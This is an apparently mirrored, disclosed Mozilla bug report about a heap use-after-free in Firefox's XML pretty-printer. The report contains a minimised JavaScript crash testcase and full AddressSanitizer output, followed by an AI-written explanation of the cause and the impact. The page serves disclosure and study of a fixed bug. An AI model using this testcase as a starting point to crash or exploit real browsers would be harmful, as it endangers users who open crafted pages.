Skip to content
Memory corruption Disclosed report Advanced

heap-use-after-free in nsXMLPrettyPrinter::PrettyPrint

A use-after-free occurs in Firefox's XML pretty-printer when a crafted page forces a style flush that destroys the presentation shell while PrettyPrint is still using it. An attacker could crash the browser's content process, and the memory corruption may be exploitable.

Nils Follow

Originally disclosed on Mozilla

  • Fixed in 13 days
  • Paid in 3 months
  • Disclosed after 13 days

Created attachment 8926358 crash.html (minimised testcase)

The following testcase crashes the latest ASAN build of Firefox nightly.

crash.html:

<script> function spin () { var x=new XMLHttpRequest(); x.open("POST","https://mozilla.org",false); try{x.send("X");}catch(e){} } function start() { o1=document.createElement('iframe'); o1.src='data:text/xml,<x/>'; o4=document; window.setTimeout("fun0()",10); } function fun0() { o150=document.documentElement.cloneNode(true); document.documentElement.appendChild(o150); o170=document.createElement('style'); spin(); o171=document.createTextNode("@import'/p/r'; { border-top-color} *{ scroll-snap-points-x: repeat(28rem"); o170.appendChild(o171); o150.appendChild(o170); o4.write('<html><body><div></div><div></div></body></html>'); window.top.document.documentElement.appendChild(o1); window.top.document.documentElement.appendChild(o170); window.setTimeout("location.reload()", 1000); } </script> <body onload="start()"></body>

ASAN output:

==24871==ERROR: AddressSanitizer: heap-use-after-free on address 0x622000042100 at pc 0x7f4c0d8215b6 bp 0x7ffd226c0d30 sp 0x7ffd226c0d28 READ of size 8 at 0x622000042100 thread T0 (file:// Content) #0 0x7f4c0d8215b5 in nsXMLPrettyPrinter::PrettyPrint(nsIDocument*, bool*) /builds/worker/workspace/build/src/dom/xml/nsXMLPrettyPrinter.cpp:157:16 #1 0x7f4c0d81f70f in nsXMLContentSink::MaybePrettyPrint() /builds/worker/workspace/build/src/dom/xml/nsXMLContentSink.cpp:214:17 #2 0x7f4c0d822bd4 in nsXMLContentSink::DidBuildModel(bool) /builds/worker/workspace/build/src/dom/xml/nsXMLContentSink.cpp:306:5 #3 0x7f4c0d8231d3 in non-virtual thunk to nsXMLContentSink::DidBuildModel(bool) /builds/worker/workspace/build/src/dom/xml/nsXMLContentSink.cpp:264:19 #4 0x7f4c091ec6c5 in DidBuildModel /builds/worker/workspace/build/src/parser/htmlparser/nsParser.cpp:491:37 #5 0x7f4c091ec6c5 in nsParser::ResumeParse(bool, bool, bool) /builds/worker/workspace/build/src/parser/htmlparser/nsParser.cpp:1101 #6 0x7f4c091f242c in nsParser::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/parser/htmlparser/nsParser.cpp:1475:10 #7 0x7f4c0911aee6 in nsDocumentOpenInfo::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsURILoader.cpp:357:15 #8 0x7f4c076280c5 in nsBaseChannel::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/netwerk/base/nsBaseChannel.cpp:878:18 #9 0x7f4c0762849f in non-virtual thunk to nsBaseChannel::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/netwerk/base/nsBaseChannel.cpp:864:16 #10 0x7f4c076758e6 in nsInputStreamPump::OnStateStop() /builds/worker/workspace/build/src/netwerk/base/nsInputStreamPump.cpp:704:20 #11 0x7f4c07673cb6 in nsInputStreamPump::OnInputStreamReady(nsIAsyncInputStream*) /builds/worker/workspace/build/src/netwerk/base/nsInputStreamPump.cpp:428:25 #12 0x7f4c07464d4d in nsInputStreamReadyEvent::Run() /builds/worker/workspace/build/src/xpcom/io/nsStreamUtils.cpp:97:20 #13 0x7f4c074a6ba1 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:396:25 #14 0x7f4c074cbbd6 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1037:14 #15 0x7f4c074e6098 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:513:10 #16 0x7f4c082b8711 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21 #17 0x7f4c08218d6b in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #18 0x7f4c08218d6b in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #19 0x7f4c08218d6b in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #20 0x7f4c0dc9f0ef in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:158:27 #21 0x7f4c11fbb097 in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:877:22 #22 0x7f4c08218d6b in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #23 0x7f4c08218d6b in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #24 0x7f4c08218d6b in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #25 0x7f4c11fbaa4a in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:703:34 #26 0x4ec2de in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:63:30 #27 0x4ec2de in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:280 #28 0x7f4c24c7382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #29 0x41dbc8 in _start (/fuzzer3/firefox/firefox+0x41dbc8)

0x622000042100 is located 0 bytes inside of 5768-byte region [0x622000042100,0x622000043788) freed by thread T0 (file:// Content) here: #0 0x4bc0fb in __interceptor_free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:47:3 #1 0x7f4c0e404b5e in mozilla::PresShell::Release() /builds/worker/workspace/build/src/layout/base/PresShell.cpp:840:1 #2 0x7f4c0e50e8fb in assign_assuming_AddRef /builds/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:355:7 #3 0x7f4c0e50e8fb in operator= /builds/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:631 #4 0x7f4c0e50e8fb in nsDocumentViewer::DestroyPresShell() /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:4645 #5 0x7f4c0e505c24 in nsDocumentViewer::Hide() /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:2245:3 #6 0x7f4c115993c9 in SetVisibility /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6612:9 #7 0x7f4c115993c9 in non-virtual thunk to nsDocShell::SetVisibility(bool) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6602 #8 0x7f4c0a38452a in nsFrameLoader::Hide() /builds/worker/workspace/build/src/dom/base/nsFrameLoader.cpp:1467:12 #9 0x7f4c0e86cc90 in nsSubDocumentFrame::DestroyFrom(nsIFrame*, mozilla::layout::PostFrameDestroyData&) /builds/worker/workspace/build/src/layout/generic/nsSubDocumentFrame.cpp:1029:22 #10 0x7f4c0e80209c in nsLineBox::DeleteLineList(nsPresContext*, nsLineList&, nsIFrame*, nsFrameList*, mozilla::layout::PostFrameDestroyData&) /builds/worker/workspace/build/src/layout/generic/nsLineBox.cpp:402:14 #11 0x7f4c0e62be27 in nsBlockFrame::DestroyFrom(nsIFrame*, mozilla::layout::PostFrameDestroyData&) /builds/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:331:3 #12 0x7f4c0e62c98d in DestroyFramesFrom /builds/worker/workspace/build/src/layout/generic/nsFrameList.cpp:59:12 #13 0x7f4c0e62c98d in nsContainerFrame::DestroyFrom(nsIFrame*, mozilla::layout::PostFrameDestroyData&) /builds/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:226 #14 0x7f4c0e689669 in nsCanvasFrame::DestroyFrom(nsIFrame*, mozilla::layout::PostFrameDestroyData&) /builds/worker/workspace/build/src/layout/generic/nsCanvasFrame.cpp:160:21 #15 0x7f4c0e62c98d in DestroyFramesFrom /builds/worker/workspace/build/src/layout/generic/nsFrameList.cpp:59:12 #16 0x7f4c0e62c98d in nsContainerFrame::DestroyFrom(nsIFrame*, mozilla::layout::PostFrameDestroyData&) /builds/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:226 #17 0x7f4c0e51fde4 in nsIFrame::Destroy() /builds/worker/workspace/build/src/layout/generic/nsIFrame.h:674:5 #18 0x7f4c0e6a0ab2 in nsContainerFrame::RemoveFrame(mozilla::layout::FrameChildListID, nsIFrame*) /builds/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:174:16 #19 0x7f4c0e4db818 in RemoveFrame /builds/worker/workspace/build/src/layout/base/nsFrameManager.cpp:535:18 #20 0x7f4c0e4db818 in nsCSSFrameConstructor::ContentRemoved(nsIContent*, nsIContent*, nsIContent*, nsCSSFrameConstructor::RemoveFlags) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:8827 #21 0x7f4c0e4c77e4 in nsCSSFrameConstructor::RecreateFramesForContent(nsIContent*, nsCSSFrameConstructor::InsertionKind) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10027:7 #22 0x7f4c0e3f431a in mozilla::RestyleManager::ProcessRestyledFrames(nsStyleChangeList&) /builds/worker/workspace/build/src/layout/base/RestyleManager.cpp:1513:25 #23 0x7f4c0e469eba in mozilla::ServoRestyleManager::DoProcessPendingRestyles(mozilla::ServoTraversalFlags) /builds/worker/workspace/build/src/layout/base/ServoRestyleManager.cpp:1159:9 #24 0x7f4c0e428de0 in ProcessPendingRestyles /builds/worker/workspace/build/src/layout/base/ServoRestyleManager.cpp:1235:3 #25 0x7f4c0e428de0 in ProcessPendingRestyles /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManagerInlines.h:44 #26 0x7f4c0e428de0 in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush) /builds/worker/workspace/build/src/layout/base/PresShell.cpp:4196 #27 0x7f4c0a2edb10 in FlushPendingNotifications /builds/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:572:5 #28 0x7f4c0a2edb10 in nsDocument::FlushPendingNotifications(mozilla::FlushType, mozilla::FlushTarget) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:8547 #29 0x7f4c0e173447 in nsComputedDOMStyle::UpdateCurrentStyleSources(bool) /builds/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:946:13 #30 0x7f4c0e174fb1 in nsComputedDOMStyle::GetPropertyCSSValue(nsTSubstring<char16_t> const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:1160:3 #31 0x7f4c0e172af8 in nsComputedDOMStyle::GetPropertyValue(nsTSubstring<char16_t> const&, nsTSubstring<char16_t>&) /builds/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:479:26 #32 0x7f4c0d81ffae in nsXMLPrettyPrinter::PrettyPrint(nsIDocument*, bool*) /builds/worker/workspace/build/src/dom/xml/nsXMLPrettyPrinter.cpp:81:28 #33 0x7f4c0d81f70f in nsXMLContentSink::MaybePrettyPrint() /builds/worker/workspace/build/src/dom/xml/nsXMLContentSink.cpp:214:17 #34 0x7f4c0d822bd4 in nsXMLContentSink::DidBuildModel(bool) /builds/worker/workspace/build/src/dom/xml/nsXMLContentSink.cpp:306:5 #35 0x7f4c0d8231d3 in non-virtual thunk to nsXMLContentSink::DidBuildModel(bool) /builds/worker/workspace/build/src/dom/xml/nsXMLContentSink.cpp:264:19 #36 0x7f4c091ec6c5 in DidBuildModel /builds/worker/workspace/build/src/parser/htmlparser/nsParser.cpp:491:37 #37 0x7f4c091ec6c5 in nsParser::ResumeParse(bool, bool, bool) /builds/worker/workspace/build/src/parser/htmlparser/nsParser.cpp:1101 #38 0x7f4c091f242c in nsParser::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/parser/htmlparser/nsParser.cpp:1475:10 #39 0x7f4c0911aee6 in nsDocumentOpenInfo::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsURILoader.cpp:357:15

previously allocated by thread T0 (file:// Content) here: #0 0x4bc44c in malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64:3 #1 0x4ed85d in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:84:17 #2 0x7f4c0a2b9663 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:206:12 #3 0x7f4c0a2b9663 in nsDocument::CreateShell(nsPresContext*, nsViewManager*, mozilla::StyleSetHandle) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:4146 #4 0x7f4c0e5015ef in nsDocumentViewer::InitPresentationStuff(bool) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:684:27 #5 0x7f4c0e500ebf in nsDocumentViewer::InitInternal(nsIWidget*, nsISupports*, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits const&, bool, bool, bool) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:942:10 #6 0x7f4c0e500127 in nsDocumentViewer::Init(nsIWidget*, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits const&) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:659:10 #7 0x7f4c115a11db in nsDocShell::SetupNewViewer(nsIContentViewer*) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:9558:7 #8 0x7f4c1159fb9c in nsDocShell::Embed(nsIContentViewer*, char const*, nsISupports*) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7382:17 #9 0x7f4c11538905 in nsDocShell::CreateContentViewer(nsTSubstring<char> const&, nsIRequest*, nsIStreamListener**) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:9365:3 #10 0x7f4c11536210 in nsDSURIContentListener::DoContent(nsTSubstring<char> const&, bool, nsIRequest*, nsIStreamListener**, bool*) /builds/worker/workspace/build/src/docshell/base/nsDSURIContentListener.cpp:196:21 #11 0x7f4c0911b5ea in nsDocumentOpenInfo::TryContentListener(nsIURIContentListener*, nsIChannel*) /builds/worker/workspace/build/src/uriloader/base/nsURILoader.cpp:739:28 #12 0x7f4c09118d93 in nsDocumentOpenInfo::DispatchContent(nsIRequest*, nsISupports*) /builds/worker/workspace/build/src/uriloader/base/nsURILoader.cpp:417:30 #13 0x7f4c091177bb in nsDocumentOpenInfo::OnStartRequest(nsIRequest*, nsISupports*) /builds/worker/workspace/build/src/uriloader/base/nsURILoader.cpp:295:8 #14 0x7f4c076276d7 in nsBaseChannel::OnStartRequest(nsIRequest*, nsISupports*) /builds/worker/workspace/build/src/netwerk/base/nsBaseChannel.cpp:859:25 #15 0x7f4c07674592 in nsInputStreamPump::OnStateStart() /builds/worker/workspace/build/src/netwerk/base/nsInputStreamPump.cpp:518:25 #16 0x7f4c07673c1e in nsInputStreamPump::OnInputStreamReady(nsIAsyncInputStream*) /builds/worker/workspace/build/src/netwerk/base/nsInputStreamPump.cpp:421:25 #17 0x7f4c07464d4d in nsInputStreamReadyEvent::Run() /builds/worker/workspace/build/src/xpcom/io/nsStreamUtils.cpp:97:20 #18 0x7f4c074a6ba1 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:396:25 #19 0x7f4c074cbbd6 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1037:14 #20 0x7f4c074e6098 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:513:10 #21 0x7f4c082b8711 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21 #22 0x7f4c08218d6b in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #23 0x7f4c08218d6b in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #24 0x7f4c08218d6b in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #25 0x7f4c0dc9f0ef in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:158:27 #26 0x7f4c11fbb097 in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:877:22 #27 0x7f4c08218d6b in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #28 0x7f4c08218d6b in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #29 0x7f4c08218d6b in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #30 0x7f4c11fbaa4a in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:703:34 #31 0x4ec2de in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:63:30 #32 0x4ec2de in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:280 #33 0x7f4c24c7382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/dom/xml/nsXMLPrettyPrinter.cpp:157:16 in nsXMLPrettyPrinter::PrettyPrint(nsIDocument*, bool*) Shadow bytes around the buggy address: 0x0c44800003d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c44800003e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c44800003f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4480000400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4480000410: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c4480000420:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4480000430: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4480000440: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4480000450: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4480000460: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c4480000470: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==24871==ABORTING

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the pretty-printer triggers a style flush that tears down and frees the presentation shell it is still holding a reference to, then dereferences it.

Impact

The content process crashes under ASAN, and the use-after-free could potentially be exploited for code execution.

What the attacker needed

Victim opens a crafted page; JavaScript enabled

How it was found

  1. Load the crafted HTML page, which creates an XML iframe and clones the document.
  2. A timer runs a function that appends a cloned document element and a style element.
  3. A synchronous request forces a style flush that destroys the iframe's presentation shell.
  4. The XML content sink then calls the pretty-printer, which reads the freed shell and ASAN aborts.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a browser shows an XML file it adds a pretty-printed view, and that code reads a layout object. A crafted page can make the browser throw that object away mid-way, so the code then reads freed memory. Reading freed memory can crash the tab and, in the worst case, let an attacker run their own code.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.